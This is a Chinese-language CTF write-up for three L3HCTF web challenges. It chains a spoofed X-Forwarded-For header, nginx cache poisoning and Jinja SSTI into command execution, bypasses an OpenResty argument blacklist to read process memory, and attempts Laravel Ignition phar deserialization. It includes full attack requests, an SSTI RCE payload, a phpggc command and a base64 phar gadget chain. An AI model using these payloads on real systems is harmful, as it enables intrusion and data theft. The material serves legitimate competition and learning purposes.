L3HCTF-web

best_profile

把附件下下来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
import os
import re
import random
import string
import requests
from flask import (
Flask,
render_template,
request,
redirect,
url_for,
render_template_string,
)
from flask_sqlalchemy import SQLAlchemy
from flask_login import (
LoginManager,
UserMixin,
login_user,
login_required,
logout_user,
current_user,
)
from sqlalchemy.orm import DeclarativeBase
from sqlalchemy.orm import Mapped, mapped_column
from werkzeug.security import generate_password_hash, check_password_hash
from werkzeug.middleware.proxy_fix import ProxyFix
import geoip2.database


class Base(DeclarativeBase):
pass


db = SQLAlchemy(model_class=Base)


class User(db.Model, UserMixin):
id: Mapped[int] = mapped_column(primary_key=True)
username: Mapped[str] = mapped_column(unique=True)
password: Mapped[str] = mapped_column()
bio: Mapped[str] = mapped_column()
last_ip: Mapped[str] = mapped_column(nullable=True)

def set_password(self, password):
self.password = generate_password_hash(password)

def check_password(self, password):
return check_password_hash(self.password, password)

def __repr__(self):
return "<User %r>" % self.name


app = Flask(__name__)
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///data.db"
app.config["SECRET_KEY"] = os.urandom(24)
app.wsgi_app = ProxyFix(app.wsgi_app)

db.init_app(app)
with app.app_context():
db.create_all()

login_manager = LoginManager(app)


def gen_random_string(length=20):
return "".join(random.choices(string.ascii_letters, k=length))


@login_manager.user_loader
def load_user(user_id):
user = User.query.get(int(user_id))
return user


@app.route("/login", methods=["GET", "POST"])
def route_login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if not username or not password:
return "Invalid username or password."
user = User.query.filter_by(username=username).first()
if user and user.check_password(password):
login_user(user)
return redirect(url_for("route_profile", username=user.username))
else:
return "Invalid username or password."
return render_template("login.html")


@app.route("/logout")
@login_required
def route_logout():
logout_user()
return redirect(url_for("index"))


@app.route("/register", methods=["GET", "POST"])
def route_register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
bio = request.form["bio"]
if not username or not password:
return "Invalid username or password."
user = User.query.filter_by(username=username).first()
if user:
return "Username already exists."
user = User(username=username, bio=bio)
user.set_password(password)
db.session.add(user)
db.session.commit()
return redirect(url_for("route_login"))
return render_template("register.html")


@app.route("/<string:username>")
def route_profile(username):
user = User.query.filter_by(username=username).first()
return render_template("profile.html", user=user)


@app.route("/get_last_ip/<string:username>", methods=["GET", "POST"])
def route_check_ip(username):
if not current_user.is_authenticated:
return "You need to login first."
user = User.query.filter_by(username=username).first()
if not user:
return "User not found."
return render_template("last_ip.html", last_ip=user.last_ip)

geoip2_reader = geoip2.database.Reader("GeoLite2-Country.mmdb")
@app.route("/ip_detail/<string:username>", methods=["GET"])
def route_ip_detail(username):
res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
if res.status_code != 200:
return "Get last ip failed."
last_ip = res.text
try:
ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
country = geoip2_reader.country(ip)
except (ValueError, TypeError):
country = "Unknown"
template = f"""
<h1>IP Detail</h1>
<div>{last_ip}</div>
<p>Country:{country}</p>
"""
return render_template_string(template)


@app.route("/")
def index():
return render_template("index.html")


@app.after_request
def set_last_ip(response):
if current_user.is_authenticated:
current_user.last_ip = request.remote_addr
db.session.commit()
return response


if __name__ == "__main__":
app.run()

使用了ProxyFix中间件

1
2
from werkzeug.middleware.proxy_fix import ProxyFix
app.wsgi_app = ProxyFix(app.wsgi_app)

ProxyFix中间件的作用是从代理服务器传递的请求头中获取客户端的真实IP地址。该中间件是设置在反向代理后的一个组件,他会读取XFF头并将其设置为REMOTE_ADDR,所以Flask中的request.remote_addr在经过处理后的话实际上取决于XFF头的IP地址

这些路由的话其实很明显能看到/ip_detail/<string:username>只有这个路由的渲染是直接渲染的,可以打ssti,然后我们看一下渲染的内容

1
2
3
4
5
template = f"""
<h1>IP Detail</h1>
<div>{last_ip}</div>
<p>Country:{country}</p>
"""

这里的话last_ip就是请求后的返回响应内容,然后我们看一下请求的路由

1
2
3
4
5
6
7
8
@app.route("/get_last_ip/<string:username>", methods=["GET", "POST"])
def route_check_ip(username):
if not current_user.is_authenticated:
return "You need to login first."
user = User.query.filter_by(username=username).first()
if not user:
return "User not found."
return render_template("last_ip.html", last_ip=user.last_ip)

更直观点,直接注册一个看看就知道了

/<string:username>路由

image-20250712162327755

/get_last_ip/<string:username>路由

image-20250712162427241

可以看到返回了一个ip地址,联想到XFF头看看能不能伪造IP

image-20250712162839164

既然可以渲染出来,并且在最后的ip_detail路由下有ssti的存在,更是有对get_last_ip的请求,那么可以尝试XFF头的ssti,但是有一个问题,就是这里的请求是不携带Cookie的,也就是说他正常的请求是无法通过get_last_ip路由中队用户是否登录的验证的,所以我们需要绕过这个设置,让我们的请求走到我们需要利用的页面

后面看了一下附件里面还有一个nginx的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
proxy_pass http://127.0.0.1:5000;
proxy_cache static;
proxy_cache_valid 200 302 30d;
}

location ~ .*\.(js|css)?$ {
proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
proxy_pass http://127.0.0.1:5000;
proxy_cache static;
proxy_cache_valid 200 302 12h;
}

可以看到,这里如果有*\.(gif|jpg|jpeg|png|bmp|swf这类资源的话就会送到nginx缓存中保存30天,那我们就可以利用这个去保存我们自己构造的带有XFF头伪造的get_last_ip路由的网页,例如/get_last_ip/1.swf

但是这里需要注意的是一个设置ip的函数

1
2
3
4
5
6
@app.after_request
def set_last_ip(response):
if current_user.is_authenticated:
current_user.last_ip = request.remote_addr
db.session.commit()
return response

这里的话会在每次请求后接收响应内容中的request.remote_addr然后给last_ip赋值,因为前面看中间件的时候我们就知道这里的request.remote_addr取决于XFF头中的IP地址,那我们这个是可以利用的,具体怎么利用呢?往下看就知道了

先注册一个1.swf的用户并登录,登录后抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET //get_last_ip/1.swf HTTP/1.1
Host: 61.147.171.103:63956
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61.147.171.103:63956/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
X-Forwarded-For: {{8*8}}
Cookie: session=.eJwlzssNwkAMBcBe9szB9v5smok29rPgmsAJ0TuRKGCk-ZQtD5yPcn8db9zK9oxyLy7CYUC3umZKV7eGCo5MC--LbWaXRTl8RkBqsFLbfaiCrS9XrMlV-xQNwGxSVEvYJRNOIzWEqO5K4g2JVTXbPghtDm5arsj7xPHfcPn-ABXhL_k.aHI2Pg.xKU7v5-b5PDNBQl_5CJpvEsp8NA
Connection: keep-alive


改一下路由,然后添加XFF头,这里的话有人会问为什么是//get_last_ip/1.swf而不是/get_last_ip/1.swf,这里的话就是为了set_last_ip函数的执行赋值操作,那么这次发包之后我们的last_ip就变成{{8*8}}了,然后我们再改回去

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /get_last_ip/1.swf HTTP/1.1
Host: 61.147.171.103:63956
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61.147.171.103:63956/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=.eJwlzssNwkAMBcBe9szB9v5smok29rPgmsAJ0TuRKGCk-ZQtD5yPcn8db9zK9oxyLy7CYUC3umZKV7eGCo5MC--LbWaXRTl8RkBqsFLbfaiCrS9XrMlV-xQNwGxSVEvYJRNOIzWEqO5K4g2JVTXbPghtDm5arsj7xPHfcPn-ABXhL_k.aHI2Pg.xKU7v5-b5PDNBQl_5CJpvEsp8NA
Connection: keep-alive


image-20250712181618908

这样的话就是成功设置好了,那这里又有人要问,既然这里的last_ip已经改了,为什么还要访问一次/get_last_ip/1.swf?其实就是为了避免在/ip_detail路由下的get请求访问到的是本地请求的/get_last_ip/1.swf而不是我们自己的/get_last_ip/1.swf,这里发包之后就会根据nginx配置文件的规则存入缓存,这样后面get请求的话也就会请求缓存的文件。

最后我们访问/ip_detail/1.swf就可以发现成功ssti

image-20250712181924704

然后后面的话打ssti发现引号被过滤了,那我们就用request外带去绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET //get_last_ip/3.swf HTTP/1.1
Host: 61.147.171.105:59182
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61.147.171.105:59182/login
X-Forwarded-For: {{lipsum.__globals__[request.args.a].popen(request.args.b).read()}}
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=.eJwlzssNwkAMBcBe9szBa-_HpploYz8LrgmcEL0TiQJGmk_Z8sD5KPfX8catbM8o9-LMNQzoJmsmd3VrENTItPC-qs3svCiHzwiwRFVquw9VVOvLFWtW0T5ZAzCbFGIJu2TCaaQGE8muxN6QWKLZ9kFoc9Sm5Yq8Txz_jZTvDxXnL_s.aHJn5A.2iWFkAUbTpjti5vB8XeT1loDExA
Connection: keep-alive


image-20250712215559409

然后传入a和b就行

1
?a=os&b=tac /flag

image-20250712215614350

gateway_advance(部分复现)

看看源码中有nginx的配置文件,里面是Lua脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
worker_processes 1;

events {
use epoll;
worker_connections 10240;
}

http {
include mime.types;
default_type text/html;
access_log off;
error_log /dev/null;
sendfile on;

init_by_lua_block {
f = io.open("/flag", "r")
f2 = io.open("/password", "r")
flag = f:read("*all")
password = f2:read("*all")
f:close()
password = string.gsub(password, "[\n\r]", "")
os.remove("/flag")
os.remove("/password")
}

server {
listen 80 default_server;
location / {
content_by_lua_block {
ngx.say("hello, world!")
}
}

location /static {
alias /www/;
access_by_lua_block {
if ngx.var.remote_addr ~= "127.0.0.1" then
ngx.exit(403)
end
}
add_header Accept-Ranges bytes;
}

location /download {
access_by_lua_block {
local blacklist = {"%.", "/", ";", "flag", "proc"}
local args = ngx.req.get_uri_args()
for k, v in pairs(args) do
for _, b in ipairs(blacklist) do
if string.find(v, b) then
ngx.exit(403)
end
end
end
}
add_header Content-Disposition "attachment; filename=download.txt";
proxy_pass http://127.0.0.1/static$arg_filename;
body_filter_by_lua_block {
local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
for _, b in ipairs(blacklist) do
if string.find(ngx.arg[1], b) then
ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
end
end
}
}

location /read_anywhere {
access_by_lua_block {
if ngx.var.http_x_gateway_password ~= password then
ngx.say("go find the password first!")
ngx.exit(403)
end
}
content_by_lua_block {
local f = io.open(ngx.var.http_x_gateway_filename, "r")
if not f then
ngx.exit(404)
end
local start = tonumber(ngx.var.http_x_gateway_start) or 0
local length = tonumber(ngx.var.http_x_gateway_length) or 1024
if length > 1024 * 1024 then
length = 1024 * 1024
end
f:seek("set", start)
local content = f:read(length)
f:close()
ngx.say(content)
ngx.header["Content-Type"] = "application/octet-stream"
}
}
}
}

这里的话有三个路由,/static路由是无法访问的,/download路由是下载文件的,并且指向/static路由,但是这里的话有黑名单

1
2
3
4
5
6
7
8
9
10
11
12
location /download {
access_by_lua_block {
local blacklist = {"%.", "/", ";", "flag", "proc"}
local args = ngx.req.get_uri_args()
for k, v in pairs(args) do
for _, b in ipairs(blacklist) do
if string.find(v, b) then
ngx.exit(403)
end
end
end
}

先看对URL参数的过滤上,主要是过滤了./;flagproc,避免了一些目录穿越,但是注意到一个ngx.req.get_uri_args(),然后找到了这个函数的一个默认配置的漏洞

https://github.com/p0pr0ck5/lua-resty-waf/issues/280

https://forum.butian.net/share/91

通过ngx.req.get_uri_args获取uri参数,当提交的参数超过限制数(默认限制100或可选参数限制),uri参数溢出,无法获取到限制数以后的参数值,更无法对攻击者构造的参数进行有效安全检测

1
/download?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&filename=../etc/passwd

image-20250714125300363

我们看一下返回逻辑

1
2
3
4
5
6
7
8
9
10
add_header Content-Disposition "attachment; filename=download.txt";
proxy_pass http://127.0.0.1/static$arg_filename;
body_filter_by_lua_block {
local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
for _, b in ipairs(blacklist) do
if string.find(ngx.arg[1], b) then
ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
end
end
}

这里的话会对返回内容进行一定的过滤,这时候怎么绕过呢?

这里可以用Range请求头去控制返回内容

1
2
Range: bytes=<start>-<end>
允许客户端指定需要获取的资源字节范围,实现断点续传和分块下载功能。

image-20250714125414248

因为是在内存中的,并且原文件已经删除了,所以我们遍历一下,最终在/proc/self/fd/6找到打开文件的进程

1
2
3
4
5
6
7
8
9
10
GET /download?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&filename=../proc/self/fd/6 HTTP/1.1
Host: 43.138.2.216:17794
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36


然后用Range分片读取一下内容去绕过内容检测

image-20250714125928133

最终拿到password密码为passwordismemeispasswordsoneverwannagiveyouup

拿到密码后就可以操作/read_anywhere路由了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
location /read_anywhere {
access_by_lua_block {
if ngx.var.http_x_gateway_password ~= password then
ngx.say("go find the password first!")
ngx.exit(403)
end
}
content_by_lua_block {
local f = io.open(ngx.var.http_x_gateway_filename, "r")
if not f then
ngx.exit(404)
end
local start = tonumber(ngx.var.http_x_gateway_start) or 0
local length = tonumber(ngx.var.http_x_gateway_length) or 1024
if length > 1024 * 1024 then
length = 1024 * 1024
end
f:seek("set", start)
local content = f:read(length)
f:close()
ngx.say(content)
ngx.header["Content-Type"] = "application/octet-stream"
}
}

这里的话需要传入四个请求头

  • X-Gateway-Password 的 HTTP 头的值就是我们刚刚获取到的password

  • X-Gateway-Filename HTTP 头的值就是我们想要读取的文件路径

  • X-Gateway-Start HTTP 头的值。这个头预期指定从文件开始读取的起始字节偏移量

  • X-Gateway-Length HTTP 头的值,指定要读取的字节数

1
2
X-Gateway-Password: passwordismemeispasswordsoneverwannagiveyouup
X-Gateway-Filename: /etc/passwd

image-20250714130557564

然后我们需要在进程里面找文件,先通过 /proc/self/maps 获得当前进程虚拟地址映射

/proc/[PID]/maps: 显示该进程的内存映射信息,包括加载的库文件和可执行文件等。

image-20250714131240596

看到一个删除操作

1
7eeead51f000-7eeead520000 rw-s 00000000 00:01 3170                       /dev/zero (deleted)

然后我们读一下/proc/self/mem

/proc/[PID]/mem: 代表该进程的内存映像。

1
2
3
4
X-Gateway-Password: passwordismemeispasswordsoneverwannagiveyouup
X-Gateway-Filename: /proc/self/mem
X-Gateway-Start: 0x7eeead51f000
X-Gateway-Length: 200000

image-20250714131607194

1
L3HCTF{g4t3way_st1ll_n0t_s3cur3}

gogogo出发喽(复现)

Laravel框架的代码审计

本来搜了一下CVE,看到一个RCE

https://www.freebuf.com/vuls/264662.html

image-20250714162928371

开启了Debug模式,看看能不能打那个RCE

先看看vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

在Http/Api/FileController类下找到一个image_base64的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
/**
* Author:春风
* WeChat:binzhou5
* Date:2020/10/24 14:25
*/

namespace App\Http\Controllers\Api;

use App\Http\Controllers\Controller;
use Illuminate\Support\Str;

class FileController extends Controller
{
public function __construct()
{
// $this->middleware('jwt.auth');
}

/**
* Base64 图片上传
* @return \Illuminate\Http\JsonResponse
*/
public function image_base64()
{
$data = request()->post('data');
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $data, $result)) {
$type = $result[2];
if (in_array($type, array('pjpeg', 'jpeg', 'jpg', 'gif', 'bmp', 'png'))) {
$url_path = 'images/'.auth('api')->id().'_'.Str::random().'.'.$type;
$file_path = public_path('uploads') .'/'. $url_path;
if (file_put_contents($file_path, base64_decode(str_replace($result[1], '', $data)))) {
return response()->json([
'code' => 200,
'data' => [
'url' => $url_path
]
]);
} else {
return response()->json([
'code' => 500,
'message' => '上传失败'
]);
}
} else {
return response()->json([
'code' => 500,
'message' => '图片上传类型错误'
]);
}
} else {
return response()->json([
'code' => 500,
'message' => '类型错误'
]);
}
}
}

可以上传文件,试着上传一个php文件看看

1
2
3
4
5
6
7
8
9
10
11
POST /api/image/base64 HTTP/1.1
Host: 1.95.34.119:41164
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: application/json

{"data":"data:image/jpeg;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="}

image-20250714170817165

image-20250714170843338

上传成功,然后就是如何触发的问题

后面在源码中发现了有Ignition 组件源码,我们看一下CVE-2021-3129能不能打

利用phpggc生成恶意payload

1
2
3
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o /tmp/phar.gif
php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o /tmp/test.gif
cat /tmp/test.gif | base64 -w 0

上传发包

1
2
3
4
5
6
7
8
9
10
11
POST /api/image/base64 HTTP/1.1
Host: 1.95.34.119:41164
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: application/json

{"data":"data:image/gif;base64,PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQr+AQAAAQAAABEAAAABAAAAAADIAQAATzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjE6e3M6MTY6IgAqAHF1ZXVlUmVzb2x2ZXIiO2E6Mjp7aTowO086MjU6Ik1vY2tlcnlcTG9hZGVyXEV2YWxMb2FkZXIiOjA6e31pOjE7czo0OiJsb2FkIjt9fXM6ODoiACoAZXZlbnQiO086Mzg6IklsbHVtaW5hdGVcQnJvYWRjYXN0aW5nXEJyb2FkY2FzdEV2ZW50IjoxOntzOjEwOiJjb25uZWN0aW9uIjtPOjMyOiJNb2NrZXJ5XEdlbmVyYXRvclxNb2NrRGVmaW5pdGlvbiI6Mjp7czo5OiIAKgBjb25maWciO086MzU6Ik1vY2tlcnlcR2VuZXJhdG9yXE1vY2tDb25maWd1cmF0aW9uIjoxOntzOjc6IgAqAG5hbWUiO3M6NzoiYWJjZGVmZyI7fXM6NzoiACoAY29kZSI7czoyNToiPD9waHAgcGhwaW5mbygpOyBleGl0OyA/PiI7fX19CAAAAHRlc3QudHh0BAAAAIDKdGgEAAAADH5/2KQBAAAAAAAAdGVzdBsJxZ16KLI9YqcXd38DucW0USnSAgAAAEdCTUI="}

image-20250714171837587

然后触发phar反序列化

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 1.95.34.119:41164
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"viewFile":"phar:///var/www/html/public/uploads/images/_ywA9GzTeBuT3qSZs.gif/test.txt",
"variableName":"test"
}
}

不知道为啥一直500没打通,好奇怪